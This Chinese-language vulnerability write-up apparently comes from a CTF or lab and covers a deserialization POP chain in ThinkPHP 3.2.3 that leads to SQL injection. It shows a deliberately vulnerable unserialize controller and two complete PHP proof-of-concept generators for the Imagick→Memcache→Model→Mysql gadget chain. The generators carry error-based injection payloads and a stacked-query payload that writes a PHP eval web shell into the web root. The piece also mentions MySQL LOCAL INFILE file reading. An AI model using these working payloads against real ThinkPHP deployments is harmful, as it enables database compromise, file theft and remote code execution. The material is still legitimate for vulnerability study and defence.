ThinkPHP 3.2.3 反序列化&sql注入漏洞分析

漏洞概述

反序列化链利用分析 ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链

环境搭建

控制器写入

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
unserialize(base64_decode($_GET[1]));
}
}

漏洞利用

可实现报错注入MySQL恶意服务端读取客户端文件写shell

POC:因为PDO默认是支持多语句查询的,所以这个点是可以堆叠注入的

 <?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true
);
protected $config = array(
"debug" => 1,
"database" => "thinkphp",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,concat(0x7e,user()),0x7e)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
写 shell
"table"=>"mysql.users where 1=2;select \"<?php eval(\$_POST[0]);?>\" into outfile \"/var/www/html/1.php\"#",

如果关闭了堆叠注入

PDO加上了PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //

就可以把堆叠开了,再给个poc

<?php
namespace Think\Image\Driver{

use Think\Session\Driver\Memcache;

class Imagick
{
private $img;

public function __construct()
{
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{

use Think\Model;

class Memcache
{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think {

use Think\Db\Driver\Mysql;

class Model
{
protected $pk;
protected $db;
protected $data;
public function __construct(){
$this->pk = 'id';
$this->data[$this->pk] = array(
'where'=>'1=1',
'table'=>'Users where 1=updatexml(1,concat(0x7e,database(),0x7e),1)#'
);
$this->db = new Mysql();
}
}
}
namespace Think\Db\Driver{
use PDO;
class Mysql
{
protected $config = array(
'type' => 'mysql', // 数据库类型
'hostname' => '127.0.0.1', // 服务器地址
'database' => 'ctfshow', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306', // 端口
'dsn' => '', //
'params' => array(), // 数据库连接参数
'charset' => 'utf8', // 数据库编码默认采用utf8
'prefix' => '', // 数据库表前缀
'debug' => true, // 数据库调试模式
'deploy' => 0, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
'rw_separate' => false, // 数据库读写是否分离 主从式有效
'master_num' => 1, // 读写分离后 主服务器数量
'slave_no' => '', // 指定从服务器序号
'db_like_fields' => '',
);
protected $options = array(
PDO::ATTR_CASE => PDO::CASE_LOWER,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL,
PDO::ATTR_STRINGIFY_FETCHES => false,
PDO::MYSQL_ATTR_LOCAL_INFILE => true, //读取本地文件~
PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了~
);
}
}

namespace {
echo base64_encode(serialize(new \Think\Image\Driver\Imagick()));
}

漏洞分析

跳板1

ThinkPHP/Library/Think/Image/Driver/Imagick.class.php

首先参数$this->img可控,去寻找destroy()方法

跳板2

ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

$this->handle$this->sessionName可控,这里注意,跳板1调用destroy时是无参调用,在php5环境下可以运行,在php7环境下不能运行

跳板3

接着寻找delete()方法

ThinkPHP/Mode/Lite/Model.class.php

走到最后利用处

/ThinkPHP/Library/Think/Db/Driver.class.php

看看这个parseTable

不管是数组还是字符串都进行parseKey方法进行处理

直接返回,所以说什么过滤都没有

再跟进execute()方法

跟进

跟进

在这里插入图片描述

这里控制 $this->config 来连接数据库。

driver类时抽象类,用mysql类来实例化